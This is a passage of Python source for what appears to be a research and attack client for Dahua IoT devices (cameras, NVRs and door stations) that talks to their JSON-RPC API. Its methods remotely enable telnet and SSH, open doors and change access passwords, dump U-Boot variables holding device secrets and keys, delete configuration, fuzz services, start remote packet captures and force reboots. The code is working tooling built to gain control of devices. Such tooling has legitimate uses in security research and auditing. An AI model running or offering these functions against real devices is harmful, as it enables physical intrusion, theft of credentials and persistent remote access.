{}".format(file_name, e)) return False return True def help_service(self, msg): """ In principal useless function, as the only API help seems to cover 'system' only """ cmd = msg.split() dh_services = self.list_service(msg='service ' + cmd[0], fuzz=True) for key in dh_services.keys(): for method in dh_services.get(key).get('params').get('method'): query_args = { "method": "system.methodHelp", "params": { "method_name": method, }, } dh_data = self.send_call(query_args) query_args = { "method": "system.methodSignature", "params": { "method_name": method, }, } dh_data2 = self.send_call(query_args) if not dh_data and not dh_data2: continue log.info("Method: {:30}Params: {:20}Description: {}".format( method, dh_data2.get('params').get('signature', '(null)'), dh_data.get('params').get('description', '(null)') )) def reboot(self, delay=1): """ 'Hard reboot' of remote device """ query_args = { "method": "magicBox.reboot", "params": { "delay": delay }, } dh_data = self.send_call(query_args) if dh_data.get('result'): log.success("Trying to force reboot") else: log.warning("Trying to force reboot") self.socket_event.set() self.logout() def logout(self): """ Try graceful logout """ if not self.remote.connected(): log.failure('[logout] Not connected, cannot exit clean') return False """ Will exit the instance by check daemon thread """ if self.terminate and self.remote.connected(): self.remote.close() if self.relay: self.relay.close() return False """keepAlive failed or terminate Clean up before we quit, if needed (and can do so) """ if not self.event.is_set(): self.cleanup() """ Stop console (and possible others) """ self.instance_service(clean=True) query_args = { "method": "global.logout", "params": None, } dh_data = self.send_call(query_args) if not dh_data: log.failure("[logout] global.logout: {}".format(dh_data)) self.remote.close() if self.relay: self.relay.close() return False if dh_data.get('result'): log.success("Logout") self.remote.close() if self.relay: self.relay.close() return True def config_members(self, msg): cmd = msg.split() usage = { "members": "(show config members)", "all": "(dump all remote config)", "": "(dump config for )", "[|]": "[save ] (Save JSON to )", "": "(Use 'ceconfig' in Console to set/get)", } if len(cmd) == 1 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return False if cmd[1] == 'members': query_args = { "method": "configManager.getMemberNames", "params": { "name": "", }, } else: if cmd[1] == 'all': cmd[1] = 'All' query_args = { "method": "configManager.getConfig", "params": { "name": cmd[1], }, } dh_data = self.send_call(query_args, errorcodes=True) if not dh_data or not dh_data.get('result'): log.failure('[config_members] Error: {}'.format(dh_data.get('error') if dh_data else False)) return False dh_data.pop('id') dh_data.pop('session') dh_data.pop('result') if len(cmd) == 4 and cmd[2] == 'save': return self.save_to_file(file_name=cmd[3], dh_data=dh_data) print(json.dumps(dh_data, indent=4)) return def open_door(self, msg): """ VTO specific functions (not complete) """ cmd = msg.split() usage = { "": { "open": "(open door )", "close": "(close door )", "status": "(status door )", "finger": "()", "password": "()", "lift": "( Not working)", "face": "( Not working)", } } if len(cmd) != 3 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True method_name = 'accessControl' try: door = int(cmd[1]) except ValueError: log.failure("[open_door] Invalid door number {}".format(cmd[1])) self.instance_service(method_name, stop=True) return False self.instance_service(method_name, params={"channel": door}, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False if cmd[2] == 'open': query_args = { "method": "accessControl.openDoor", "params": { "DoorIndex": door, "ShortNumber": "9901#0", "Type": "Remote", "OpenDoorType": "Remote", # "OpenDoorType": "Dahua", # "OpenDoorType": "Local", "UserID": "", }, "object": object_id, } dh_data = self.send_call(query_args) print(query_args) print(dh_data) if not dh_data: return log.info("door: {} {}".format(door, "Success" if dh_data.get('result') else "Failure")) elif cmd[2] == 'close': query_args = { "method": "accessControl.closeDoor", # {"id":21,"result":true,"session":2147483452} "params": { # "Type": "Remote", # "UserID":"", }, "object": object_id, } # print(query_args) dh_data = self.send_call(query_args) print(query_args) print(dh_data) elif cmd[2] == 'status': # Seems always to return "Status Close" """{"id":8,"params":{"Info":{"status":"Close"}},"result":true,"session":2147483499}""" query_args = { "method": "accessControl.getDoorStatus", "params": { "DoorState": door, # "ShortNumber": "9901#0", # "Type": "Remote", }, "object": object_id, } dh_data = self.send_call(query_args) print(query_args) print(dh_data) elif cmd[2] == 'finger': query_args = { "method": "accessControl.captureFingerprint", # working "params": { }, "object": object_id, } dh_data = self.send_call(query_args) print(query_args) print(dh_data) elif cmd[2] == 'lift': query_args = { "method": "accessControl.callLift", # Not working "params": { "Src": 1, "DestFloor": 3, "CallLiftCmd": "", "CallLiftAction": "", }, "object": object_id, } dh_data = self.send_call(query_args) print(query_args) print(dh_data) elif cmd[2] == 'password': query_args = { "method": "accessControl.modifyPassword", # working "params": { "type": "", "user": "", "oldPassword": "", "newPassword": "", }, "object": object_id, } dh_data = self.send_call(query_args) print(query_args) print(dh_data) elif cmd[2] == 'face': query_args = { "method": "accessControl.openDoorFace", # Not working "params": { "Status": "", "MatchInfo": "", "ImageInfo": "", }, "object": object_id, } dh_data = self.send_call(query_args) print(query_args) print(dh_data) self.instance_service(method_name, stop=True) return def telnetd_sshd(self, msg): cmd = msg.split() service = None if cmd[0] == 'telnet': service = 'Telnet' elif cmd[0] == 'sshd': service = 'SSHD' usage = { "1": "(enable)", "0": "(disable)", } if len(cmd) == 1 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if cmd[1] == '1': enable = True elif cmd[1] == '0': enable = False else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False query_args = { "method": "configManager.getConfig", "params": { "name": service, }, } dh_data = self.send_call(query_args) if not dh_data: return if dh_data.get('result'): if dh_data['params']['table']['Enable'] == enable: log.failure("{} already: {}".format(cmd[0], "Enabled" if enable else "Disabled")) return else: log.failure("Failure: {}".format(dh_data)) return dh_data['method'] = "configManager.setConfig" dh_data['params']['table']['Enable'] = enable dh_data['params']['name'] = service dh_data['id'] = self.ID dh_data.pop('result') dh_data = self.send_call(dh_data, errorcodes=True) if dh_data.get('result'): log.success("{}: {}".format(cmd[0], "Enabled" if enable else "Disabled")) else: log.failure("Failure: {}".format(dh_data)) return @staticmethod def method_banned(msg): banned = [ "system.listService", "magicBox.exit", "magicBox.restart", "magicBox.shutdown", "magicBox.reboot", "magicBox.resetSystem", "magicBox.config" "global.login", "global.logout", "global.keepAlive", "global.setCurrentTime", "DockUser.addUser", "DockUser.modifyPassword", "configManager.detach", "configManager.exportPackConfig", # Exporting config in encrypted TGZ "configManager.secGetDefault", "userManager.deleteGroup", "userManager.setDefault", # will erase all users "PhotoStation.savePhotoDesign", "configManager.getMemberNames", "PerformanceMonitoring.factory.instance", # generates client.notifyPerformanceInfo() callback "PerformanceMonitoring.attach" # generates client.notifyPerformanceInfo() callback ] try: banned.index(msg) dh_data = help_msg('Banned Match') dh_data += '{}\n'.format(msg) log.info(dh_data) # print('Banned Match: {}'.format(msg)) return True except ValueError as e: print(repr(e)) return False def fuzz_service(self, msg): """ Under development """ cmd = msg.split() params = None usage = { "check": { "": "(method for )", "all": "(all remote services methods)", }, "factory": "(fuzz factory)" } if not len(cmd) >= 2 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True fuzz_result = {} """ Code = [ 268894211, # Request invalid param! 268959743, # Unknown error! error code was not set in service! 268632080, # pthread error 285278247, # ? - with magicBox.resetSystem 268894208, # Request parse error! 268894212, # Server internal error! 268894209, # get component pointer failed or invalid request! (.object needed!) ] """ # # TODO: Can be more than one in one call # dparams = [ "", "channel", # 0 should always be availible "pointer", "name", "codes", "service", "group", "stream", "uuid", "UUID", "object", "interval", # PerformanceMonitoring.attach "composite", "path", "DeviceID", "points", "Channel", ] attach_options = [ # {"type":"FormatPatition"}, "Network", # configMember ["All"], # eventManager 0, # for channel.. etc 1, # "DeviceID1", "none", # "xxxxxx", "System_CONFIG_NETCAMERA_INFO_0", # uuid "System_CONFIG_NETCAMERA_INFO_", # uuid ["System_CONFIG_NETCAMERA_INFO_0"], # uuid ["System_CONFIG_NETCAMERA_INFO_"], # uuid "/mnt/sd", "/dev/mmc0", "/", # ["Record FTP"], # ["Image FTP"], # ["FTP1"], # ["ISCSI1"], # ["NFS1"], # ["SMB1"], # ["SFTP1"], # ["SFTP"], # ["StorageGroup"], # ["NAS"], # ["Remote"], # ["ReadWrite"], ] try: # [Main TRY] if len(cmd) == 3 and cmd[1] == 'check': check = log.progress('Check') check.status('Start') dh_services = self.list_service(msg='service ' + cmd[2], fuzz=True) for key in dh_services.keys(): check.status(key) method_name = dh_services.get(key).get('params').get('method') self.fuzzServiceDB.update({key: { }}) try: method_name.index(key + '.factory.instance') self.fuzzServiceDB.get(key).update({"factory": True}) method_name.index(key + '.attach') self.fuzzServiceDB.get(key).update({"attach": True}) except ValueError as e: _error = str(e).split("'")[1] try: if _error == key + '.factory.instance': self.fuzzServiceDB.get(key).update({"factory": False}) elif _error == key + '.attach': self.fuzzServiceDB.get(key).update({"attach": False}) method_name.index(key + '.attach') self.fuzzServiceDB.get(key).update({"attach": True}) except ValueError: self.fuzzServiceDB.get(key).update({"attach": False}) pass self.fuzz_factory = [] self.Attach = [] self.attach_only = [] for key in dh_services.keys(): if not self.fuzzServiceDB.get(key).get('factory') and not self.fuzzServiceDB.get(key).get('attach'): if self.fuzzServiceDB.get(key): self.fuzzServiceDB.pop(key) continue elif self.method_banned(key + '.factory.instance'): if self.fuzzServiceDB.get(key): self.fuzzServiceDB.pop(key) continue elif self.method_banned(key + '.attach'): if self.fuzzServiceDB.get(key): self.fuzzServiceDB.pop(key) continue if self.fuzzServiceDB.get(key).get('factory'): self.fuzz_factory.append(key) if self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'): self.Attach.append(key) if not self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'): self.attach_only.append(key) check.success( 'Factory: {}, Attach: {}, attach_only: {}\n'.format( len(self.fuzz_factory), len(self.Attach), len(self.attach_only))) dh_data = '{}'.format(help_msg('Summary')) dh_data += '{}{}\n'.format(help_msg('Factory'), ', '.join(self.fuzz_factory)) dh_data += '{}{}\n'.format(help_msg('Attach'), ', '.join(self.Attach)) dh_data += '{}{}\n'.format(help_msg('attach_only'), ', '.join(self.attach_only)) log.success(dh_data) return elif len(cmd) >= 2 and cmd[1] == 'factory': try: if not len(self.fuzz_factory): log.failure('Factory is Empty') return False except AttributeError: log.failure('Firstly run {} check'.format(cmd[0])) return False fuzz_factory = [] if len(cmd) == 2: fuzz_factory = self.fuzz_factory elif len(cmd) == 3: if cmd[2] in self.fuzz_factory: fuzz_factory.append(cmd[2]) else: log.failure('"{}" do not exist in factory'.format(cmd[2])) return False for method_name in fuzz_factory: fuzz = log.progress(method_name) if method_name in self.Attach: object_id = self.instance_service(method_name, pull='object') if not object_id: fuzz.status(color('Working...', YELLOW)) self.instance_service(method_name, dattach=True, start=True, fuzz=True) object_id = self.instance_service(method_name, pull='object') if object_id: fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN)) fuzz_result.update( {method_name: { "available": True, "params": self.instance_service(method_name, pull='params'), "attach_params": self.instance_service(method_name, pull='attach_params') }}) if not object_id: for key in dparams: for doptions in attach_options: params = {key: doptions} self.instance_service( method_name, dattach=True, params=params, attach_params=params, start=True, fuzz=True, multicall=True, multicallsend=False) self.instance_service( method_name, dattach=True, attach_params=params, start=True, fuzz=True, multicall=True, multicallsend=True) object_id = self.instance_service(method_name, pull='object') if object_id: fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN)) fuzz_result.update( {method_name: { "available": True, "params": self.instance_service(method_name, pull='params'), "attach_params": self.instance_service(method_name, pull='attach_params') }}) continue if not object_id: fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error') fuzz.failure(color(json.dumps(fuzz_error), RED)) fuzz_result.update( {method_name: { "available": False, "code": fuzz_error.get('code'), "message": fuzz_error.get('message')}} ) else: object_id = self.instance_service(method_name, pull='object') if not object_id: fuzz.status(color('Working...', YELLOW)) self.instance_service(method_name, dattach=False, start=True, fuzz=True) object_id = self.instance_service(method_name, pull='object') if object_id: fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN)) fuzz_result.update( {method_name: { "available": True, "params": self.instance_service(method_name, pull='params'), "attach_params": self.instance_service(method_name, pull='attach_params') }}) if not object_id: for key in dparams: for doptions in attach_options: params = {key: doptions} self.instance_service( method_name, dattach=False, params=params, start=True, fuzz=True, multicall=True, multicallsend=False) self.instance_service( method_name, dattach=False, start=True, fuzz=True, multicall=True, multicallsend=True) object_id = self.instance_service(method_name, pull='object') if object_id: fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN)) fuzz_result.update( {method_name: { "available": True, "params": self.instance_service(method_name, pull='params'), "attach_params": self.instance_service(method_name, pull='attach_params') }}) continue if not object_id: fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error') fuzz.failure(color(json.dumps(fuzz_error), RED)) fuzz_result.update( {method_name: { "available": False, "code": fuzz_error.get('code'), "message": fuzz_error.get('message')}} ) self.instance_service(method_name="", list_all=True) # print(json.dumps(fuzz_result,indent=4)) # print(json.dumps(self.fuzzDB,indent=4)) # self.fuzzServiceDB = {} # Reset return else: log.failure('No such command "{}"'.format(msg)) except KeyboardInterrupt: # [Main TRY] return False return def dev_storage(self): query_args = { "method": "storage.getDeviceAllInfo", "params": None, } dh_data = self.send_call(query_args) if not dh_data: log.failure("\033[92m[\033[91mStorage: Device not found\033[92m]\033[0m") return if dh_data.get('result'): device_name = dh_data.get('params').get('info')[0].get('Name') method_name = 'devStorage' self.instance_service(method_name, params={"name": device_name}, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False query_args = { "method": "devStorage.getDeviceInfo", "params": None, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: if dh_data.get('result'): dh_data = dh_data.get('params').get('device') # [storage] log.success("\033[92m[\033[91mStorage: \033[94m{}\033[91m\033[92m]\033[0m\n".format( dh_data.get('Name', '(null)'))) log.info("Capacity: {}, Media: {}, Bus: {}, State: {}".format( size(dh_data.get('Capacity', '(null)')), dh_data.get('Media', '(null)'), dh_data.get('BUS', '(null)'), dh_data.get('State', '(null)'), )) log.info("Model: {}, SerialNo: {}, Firmware: {}".format( dh_data.get( 'Module', '(null)') if self.DeviceClass == "NVR" else dh_data.get('Model', '(null)'), dh_data.get( 'SerialNo', '(null)')if self.DeviceClass == "NVR" else dh_data.get('Sn', '(null)'), dh_data.get('Firmware', '(null)'), )) for part in range(0, len(dh_data.get('Partitions'))): tmp = dh_data.get('Partitions')[part] log.info("{}, FileSystem: {}, Size: {}, Free: {}".format( tmp.get('Name', '(null)'), tmp.get('FileSystem', '(null)'), size(tmp.get('Total', 0), si=True), size(tmp.get('Remain', 0), si=True), )) self.instance_service(method_name, stop=True) def get_encrypt_info(self): query_args = { "method": "Security.getEncryptInfo", "params": None, } dh_data = self.send_call(query_args) if not dh_data: log.failure("\033[92m[\033[91mEncrypt Info: Fail\033[92m]\033[0m") return if dh_data.get('result'): pub = dh_data.get('params').get('pub').split(",") log.success( "\033[92m[\033[91mEncrypt Info\033[92m]\033[0m\nAsymmetric:" " {}, Cipher: {}, Padding: {}, RSA Exp.: {}\nRSA Modulus:\n{}".format( dh_data.get('params').get('asymmetric'), '; '.join(dh_data.get('params').get('cipher', ["(null)"])), '; '.join(dh_data.get('params').get('AESPadding', ["(null)"])), pub[1].split(":")[1], pub[0].split(":")[1], )) pubkey = RSA.construct((int(pub[0].split(":")[1], 16), int(pub[1].split(":")[1], 16))) print(pubkey.exportKey().decode('ascii')) def get_remote_info(self, msg): cmd = msg.split() if cmd[0] == 'device': query_args = { "method": "magicBox.getSoftwareVersion", "params": None, } self.send_call(query_args, multicall=True) query_args = { "method": "magicBox.getProductDefinition", "params": None, } self.send_call(query_args, multicall=True) query_args = { "method": "magicBox.getSystemInfo", "params": None, } self.send_call(query_args, multicall=True) query_args = { "method": "magicBox.getMemoryInfo", "params": None, } dh_data = self.send_call(query_args, multicall=True, multicallsend=True) if not dh_data: return if dh_data.get( 'magicBox.getSoftwareVersion').get('result') and dh_data.get( 'magicBox.getProductDefinition').get('result'): tmp = dh_data.get('magicBox.getProductDefinition').get('params').get('definition') log.success( "\033[92m[\033[91mSystem\033[92m]\033[0m\nVendor: {}, Build: {}, Version: {}\n" "Device: {}, Web: {}, OEM: {}\nPackage: {}".format( tmp.get('Vendor', '(null)'), tmp.get('BuildDateTime', '(null)'), dh_data.get( 'magicBox.getSoftwareVersion').get('params').get('version').get('Version', '(null)'), tmp.get('Device', '(null)'), tmp.get('WebVersion', '(null)'), tmp.get('OEMVersion', '(null)'), tmp.get('PackageBaseName', '(null)') if tmp.get('PackageBaseName') else tmp.get('ProductName', '(null)'), )) if dh_data.get('magicBox.getSystemInfo').get('result'): tmp = dh_data.get('magicBox.getSystemInfo').get('params') log.success("\033[92m[\033[91mDevice\033[92m]\033[0m\nType: {}, CPU: {}, HW ver: {}, S/N: {}".format( tmp.get('deviceType', '(null)'), tmp.get('processor', '(null)'), tmp.get('hardwareVersion', '(null)'), tmp.get('serialNumber', '(null)'), )) if dh_data.get('magicBox.getMemoryInfo').get('result'): tmp = dh_data.get('magicBox.getMemoryInfo').get('params') log.success("\033[92m[\033[91mMemory\033[92m]\033[0m\nTotal: {}, Free: {}".format( size(tmp.get('total', 0)), size(tmp.get('free', 0)) )) self.dev_storage() self.get_encrypt_info() elif cmd[0] == 'certificate': query_args = { "method": "CertManager.exportRootCert", "params": None, } self.send_call(query_args, multicall=True) query_args = { "method": "CertManager.getSvrCertInfo", "params": None, } dh_data = self.send_call(query_args, multicall=True, multicallsend=True) if not dh_data: return if dh_data.get('CertManager.exportRootCert').get('result'): ca_cert = base64.decodebytes( dh_data.get('CertManager.exportRootCert').get('params').get('cert').encode('latin-1') ) x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert) # issuer = x509.get_issuer() # subject = x509.get_subject() log.success( "\033[92m[\033[91mRoot Certificate\033[92m]\033[0m\n" "\033[92m[\033[91mIssuer\033[92m]\033[0m\n" "{}\n" "\033[92m[\033[91mSubject\033[92m]\033[0m\n" "{}\n" "{}".format( str(x509.get_issuer()).split("'")[1], str(x509.get_subject()).split("'")[1], ca_cert.decode('latin-1'), )) log.success( "\033[92m[\033[91mPublic Key\033[92m]\033[0m\n" "{}".format(crypto.dump_publickey(crypto.FILETYPE_PEM, x509.get_pubkey()).decode('latin-1'))) print('{:X}'.format(x509.get_pubkey().to_cryptography_key().public_numbers().n)) else: log.failure( "\033[92m[\033[91mRoot Certificate\033[92m]\033[0m\n{}".format( color(dh_data.get('CertManager.exportRootCert').get('error'), LRED))) return False if dh_data.get('CertManager.getSvrCertInfo').get('result'): log.success("\033[92m[\033[91mServer Certificate\033[92m]\033[0m\n{}".format( json.dumps(dh_data.get('CertManager.getSvrCertInfo'), indent=4), )) elif cmd[0] == 'dhp2p': query_args = { "method": "Nat.getTurnStatus", "params": None, } self.send_call(query_args, multicall=True) query_args = { "method": "magicBox.getSystemInfo", "params": None, } self.send_call(query_args, multicall=True) query_args = { "method": "configManager.getConfig", "params": { "name": "_DHCloudUpgrade_", }, } self.send_call(query_args, multicall=True) query_args = { "method": "configManager.getConfig", "params": { "name": "_DHCloudUpgradeRecord_", }, } dh_data = self.send_call(query_args, multicall=True, multicallsend=True) if not dh_data: return if dh_data.get('Nat.getTurnStatus').get('result'): tmp = dh_data.get('Nat.getTurnStatus').get('params').get('Status') log.success("\033[92m[\033[91mDH DMSS P2P\033[92m]\033[0m\nEnable: {}, Status: {}, Detail: {}".format( tmp.get('IsTurnChannel', '(null)'), tmp.get('Status', '(null)'), tmp.get('Detail', '(null)'), )) if dh_data.get('_DHCloudUpgradeRecord_').get('result') or dh_data.get('_DHCloudUpgrade_').get('result'): tmp = dh_data.get('_DHCloudUpgradeRecord_').get('params').get('table') tmp2 = dh_data.get('_DHCloudUpgrade_').get('params').get('table') log.success( "\033[92m[\033[91mDH Cloud Firmware Upgrade\033[92m]\033[0m\n" "Address: {}, Port: {}, ProxyAddr: {}, ProxyPort: {}\n" "AutoCheck: {}, CheckInterval: {}, Upgrade: {}, downloadState: {}\n" "LastVersion: {},\nLastSubVersion: {}\npackageId: {}".format( tmp2.get('Address'), tmp2.get('Port'), tmp.get('ProxyAddr'), tmp.get('ProxyPort'), bool(tmp.get('AutoCheck')), tmp.get('CheckInterval'), bool(tmp.get('Upgrade')), bool(tmp.get('downloadState')), tmp.get('LastVersion'), tmp.get('LastSubVersion'), tmp.get('packageId'), )) if dh_data.get('magicBox.getSystemInfo').get('result'): tmp = dh_data.get('magicBox.getSystemInfo').get('params') log.success( "\033[92m[\033[91mDH Cloud Firmware ID\033[92m]\033[0m\n" "Upgrade S/N: {}\n" "Update S/N: {}".format( tmp.get('updateSerialCloudUpgrade', '(null)'), tmp.get('updateSerial', '(null)') ) ) def delete_config(self, msg): cmd = msg.split() if len(cmd) != 2: log.info('{}'.format(help_all(msg=msg, usage='delete-config member'))) key = cmd[1] method_name = 'configManager' self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') query_args = { "method": "configManager.deleteConfig", "params": { "name": key, }, "object": object_id, } log.info(f"Deleting member {key}") dh_data = self.send_call(query_args) if not dh_data: return print(json.dumps(dh_data, indent=4)) def new_config(self, msg): """ PoC for new non-existing configuration (instance_service() not really needed here, more as FYI for future) """ cmd = msg.split() usage = { "show": "(Show config in script)", "set": "(Set config in device)", "get": "(Get config from device)", "del": "(Delete config in device)", } if len(cmd) == 1 or len(cmd) == 2 and cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True method_name = 'configManager' self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if cmd[1] == 'set' or cmd[1] == 'show': query_args = { "method": "configManager.setConfig", "params": { "table": { "Config": 31337, "Enable": False, "Description": "Just simple PoC", }, "name": "Config_31337", }, "object": object_id, } if cmd[1] == 'show': print(json.dumps(query_args, indent=4)) return log.info("query: {} ".format(query_args)) dh_data = self.send_call(query_args) if not dh_data: return print(json.dumps(dh_data, indent=4)) elif cmd[1] == 'get': query_args = { "method": "configManager.getConfig", "params": { "name": "Config_31337", }, "object": object_id, } log.info("query: {} ".format(query_args)) dh_data = self.send_call(query_args) if not dh_data: return print(json.dumps(dh_data, indent=4)) elif cmd[1] == 'del': query_args = { "method": "configManager.deleteConfig", "params": { "name": "Config_31337", }, "object": object_id, } log.info("query: {} ".format(query_args)) dh_data = self.send_call(query_args) if not dh_data: return print(json.dumps(dh_data, indent=4)) else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True self.instance_service(method_name, stop=True) return def set_ldap(self): """ LDAP test, seems not to be connecting """ method_name = 'configManager' self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False # https://www.forumsys.com/tutorials/integration-how-to/ldap/online-ldap-test-server/ # ldapsearch -h ldap.forumsys.com -w password -D "uid=tesla,dc=example,dc=com" -b "dc=example,dc=com" query_args = { "method": "configManager.setConfig", "params": { "name": "LDAP", "table": [ { "AnonymousBind": False, "BaseDN": "ou=scientists,dc=example,dc=com", "BindDN": "uid=tesla,ou=scientists,dc=example,dc=com", "BindPassword": "password", "Enable": True, "Filter": "", "Port": 389, "Server": "192.168.5.11", # "Server": "ldap.forumsys.com", } ], }, "object": object_id, } dh_data = self.send_call(query_args) print('LDAP', dh_data) if not dh_data: return False self.instance_service(method_name, stop=True) return True def set_debug(self): # cmd = msg.split() method_name = 'configManager' self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False query_args = { "method": "configManager.setConfig", "params": { "name": "Debug", "table": { "PrintLogLevel": 0, # "enable":True, }, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: return False log.success("PrintLogLevel 0: {}".format(dh_data.get('result'))) query_args = { "method": "configManager.setConfig", "params": { "name": "Debug", "table": { "PrintLogLevel": 6, # "enable":True, }, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: return False log.success("PrintLogLevel 6: {}".format(dh_data.get('result'))) self.instance_service(method_name, stop=True) return True def u_boot(self, msg): cmd = msg.split() usage = { "printenv": "(Get all possible env config)", "setenv": " (not working)", "getenv": "" } if len(cmd) == 1: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True method_name = 'magicBox' self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False if cmd[1] == 'setenv': if not len(cmd) == 4: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True query_args = { "method": "magicBox.setEnv", "params": { "name": cmd[2], "value": cmd[3], # "name":"loglevel", # "value":"5", }, "object": object_id, } # # Here we looking for the most common U-Boot enviroment variables, if you miss any, add it to the list here. # elif cmd[1] == 'printenv': # OK: IPC/VTH/VTO, NOT: NVR query_args = { "method": "magicBox.getBootParameter", "params": { "names": [ "algorithm", "appauto", "AUTHCODE", "authcode", "AUTHKEY", "autogw", "autolip", "autoload", "autonm", "autosip", "baudrate", "bootargs", "bootcmd", "bootdelay", "bootfile", "BSN", "coremnt", "COUNTRYCODE", "da", "da0", "dc", "debug", "devalias", "DeviceID", "deviceid", "DeviceSecret", "DEVID", "devname", "devOEM", "dh_keyboard", "dk", "dl", "dp", "dr", "DspMem", "du", "dvname", "dw", "encrypbackup", "eth1addr", "ethact", "ethaddr", "ext1", "ext2", "ext3", "ext4", "ext5", "fd", "fdtaddr", "fileaddr", "filesize", "gatewayip", "HWID", "hwidEx", "HWMEM", "hxapppwd", "icrtest", "icrtype", "ID", "intelli", "ipaddr", "key", "licence", "loglevel", "logserver", "MarketArea", "mcuDebug", "mcuHWID", "mdcmdline", "Mem512M", "mmc_root", "mp_autotest", "nand_root", "netmask", "netretry", "OEI", "partitions", "PartitionVer", "peripheral", "productDate", "ProductKey", "ProductSecret", "quickstart", "randomcode", "restore", "SC", "ser_debug", "serverip", "setargs_mmc", "setargs_nand", "setargs_spinor", "SHWID", "Speripheral", "spinand_root", "spinor_root", "stderr", "stdin", "stdout", "sysbackup", "SysMem", "tftptimeout", "tk", "TracingCode", "tracode", "uid", "up", "updatetimeout", "UUID", "vendor", "ver", "Verif_Code", "verify", "videodebug", "watchdog", "wifiaddr", "COUNTRYCODE", "HWID_ORG", # MCW ], }, "object": object_id, } elif cmd[1] == 'getenv': if not len(cmd) == 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True # method = "magicBox.getEnv" # should be method = "magicBox.getBootParameter" # working too query_args = { "method": method, "params": { "names": [cmd[2]], # needed for magicBox.getBootParameter # "name": cmd[2], # needed for magicBox.getEnv }, "object": object_id, } else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True dh_data = self.send_call(query_args, errorcodes=True) if not dh_data: return False if dh_data.get('result'): print(json.dumps(dh_data, indent=4)) elif not dh_data.get('result'): log.failure('Error: {}'.format(dh_data.get('error'))) self.instance_service(method_name, stop=True) return # # tcpdump network capture from remote device # def network_sniffer_manager(self, msg): cmd = msg.split() usage = { "start": { " ": "[Wireshark capture filter syntax]" }, "stop": "(stop remote pcap)", "info": "(info about remote pcap)" } if len(cmd) == 1 or cmd[1] == 'start' and not len(cmd) >= 4 or cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True method_name = 'NetworkSnifferManager' if not self.instance_service(method_name, pull='object'): self.instance_service(method_name, start=True) object_id = self.instance_service(method_name, pull='object') if not object_id: return False self.dh_sniffer_nic = 'eth0' # dh_sniffer_nic = "eth0" # dh_sniffer_path = "/nfs" # dh_sniffer_filter = "" # dh_sniffer_filter = \ # "not host 192.168.57.20 and not host 192.168.57.7 and not host 192.168.57.167 and not host 192.168.57.27" if cmd[1] == 'start': if not self.interim_remote_diagnose("diag nfs status"): log.failure("NFS must be mounted with: diag nfs mount") return False self.dh_sniffer_nic = cmd[2] dh_sniffer_path = cmd[3] dh_sniffer_filter = '' if len(cmd) > 3: dh_sniffer_filter = ' '.join(cmd[4:]) query_args = { "method": "NetworkSnifferManager.start", "params": { "networkCard": self.dh_sniffer_nic, "path": dh_sniffer_path, "saveType": "Wireshark/Tcpdump", "filter": dh_sniffer_filter, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED)) return False # print(json.dumps(dh_data,indent=4)) if not dh_data.get('result'): log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED)) self.instance_service(method_name, stop=True) return False self.networkSnifferID = dh_data.get('params').get('networkSnifferID') log.info("({}) Start: ID: {}, NIC: {}, Path: {}, Filter: {}".format( cmd[0], self.networkSnifferID, query_args.get('params').get('networkCard'), query_args.get('params').get('path'), query_args.get('params').get('filter'), )) elif cmd[1] == 'info': query_args = { "method": "NetworkSnifferManager.getSnifferInfo", "params": { "condition": { "NetworkCard": self.dh_sniffer_nic, }, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED)) return False if not dh_data.get('result'): log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED)) self.instance_service(method_name, stop=True) return False sniffer_infos = dh_data.get('params').get('snifferInfos') if not len(sniffer_infos): log.info("No remote pcap running") return False self.networkSnifferID = sniffer_infos[0].get('NetworkSnifferID') self.networkSnifferPath = sniffer_infos[1].get('Path') log.info("({}) Info: ID: {}, Path: {}".format(cmd[0], self.networkSnifferID, self.networkSnifferPath)) return True elif cmd[1] == 'stop': if not self.network_sniffer_manager("pcap info"): return False query_args = { "method": "NetworkSnifferManager.stop", "params": { "networkSnifferID": self.networkSnifferID, }, "object": object_id, } dh_data = self.send_call(query_args) if not dh_data: log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED)) return False if not dh_data.get('result'): log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED)) self.instance_service(method_name, stop=True) return False self.instance_service(method_name, stop=True) log.info("({}) Stopped: ID: {}, Path: {}".format(cmd[0], self.networkSnifferID, self.networkSnifferPath)) else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return # 